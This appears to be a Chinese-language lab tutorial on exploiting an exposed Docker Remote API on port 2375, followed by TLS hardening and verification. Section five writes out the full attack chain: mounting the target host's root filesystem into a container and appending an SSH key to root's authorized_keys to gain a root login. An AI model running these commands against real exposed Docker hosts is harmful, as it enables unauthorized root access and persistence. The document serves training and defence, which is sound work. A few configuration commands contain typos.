一、拓扑图
二、环境与配置
环境
设备 | IP地址 | 操作类型 | docker版本 | 镜像 |
训练机 | 192.168.0.2 | centos7 | 18.03.1-ce | * |
靶机 | 192.168.0.3 | Ubuntu | 24.0.4 | 至少一个容器镜像 |
靶机配置
执行vi /usr/lib/systemd/system/docker.service命令对靶机docker服务进行配置
执行 ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://192.168.0.3:2375命令编辑docker.service文件,开启 Docker daemon 的远程访问,也就允许Docker daemon 进行本地和远程通信
三、背景
在使用Docker Swarm中,管理Docker的节点默认会启动一个API服务,并且将2375作为默认端口,0.0.0.0绑定为默认可以访问到API的IP。因为API是可以执行Docker命令的,所以暴露在公网上就非常危险。如果目标是以root权限运行的Docker,那么就可以利用Docker能挂载宿主机的物理路径到容器中来写入ssh公钥来获取shell。
四、API测试
4.1执行docker -H tcp://192.168.0.3:2375 version命令查看靶机docker版本
4.2执行docker -H tcp://192.168.0.3:2375 images命令查看靶机docker下容器镜像
五、漏洞利用
5.1执行docker -H tcp://192.168.0.3:2375 run -it -v /:/mnt ubuntu /bin/bash命令将靶机的/路径挂载到容器的/mnt路径下
5.2新建一个训练机的终端,执行ssh-keygen -t rsa命令生成秘钥对
5.3执行cat /root/.ssh/id_rsa.pub查看公钥内容
5.4将公钥内容复制到文本编辑器中,然后将换行符删掉,将内容变成一行
然后切换到训练机进入容器Ubuntu的终端,在容器中输入echo "删除换行符后的内容" >>/mnt/root/.ssh/authorized_keys,命令如下:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPFe9B7fHccehER3gLBPWr6xEM771AH2IO8P6DYK4u/RCes/E6o4Q7jAt+nLCrN8t3jJrCM6A626mr0h TuKYVGO6kxWs9lCJC8TlGv2B69fJVx7vX/HrwaBHQkPoyMq3GM7BoiFGiSJUu29qaTv/zZmxn7252yflQXeXoIqxQVWgX8OQDKlXQk6F+mvvLJNZSUUVMb4FOjfViChAJ8JBOaUbK5xQbpsDjiCQX Ike7X0pHHSb5PcOLs0ZuY059NqCrboiwCglrYsevlTWLEe4FNNfyjDxsAIxW40SU7p1hl/Hd42TQdDPpw9wfmYzxMq8cwG/hadzR6dSea5bKRetB root@Server-e76b1696-2869-4f19-97dd- b5c56e217cc9.novalocal" >>/mnt/root/.ssh/authorized_keys
5.5再次切换到训练机终端,执行ssh root@192.168.0.3命令进行秘钥认证登录
六、加固
6.1采取TLS技术进行加密认证和身份验证,执行vi /usr/lib/systemed/system/docker.service命令修改配置文件,取消14行注释,并给16行添加注释。
6.2执行systemct daemon-reload和systemctl restart docker.service命令重启docker服务
七、验证
7.1训练机终端执行docker -H tcp://192.168.0.3:2376 run -it -v /:mnt ubuntu /bin/bash命令,发现无法进入靶机Ubuntu容器内
7.2执行 docker --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem -H tcp://master:2376 run -it -v /:/mnt ubuntu /bin/bash命令,
使用证书再次进行验证,发现成功进入靶机Ubuntu容器内
注意:tcp://master采用了本地主机名解析技术,也就是将IP地址192.168.0.3和主机名master的映射关系写入到了训练机/etc/hosts文件中了。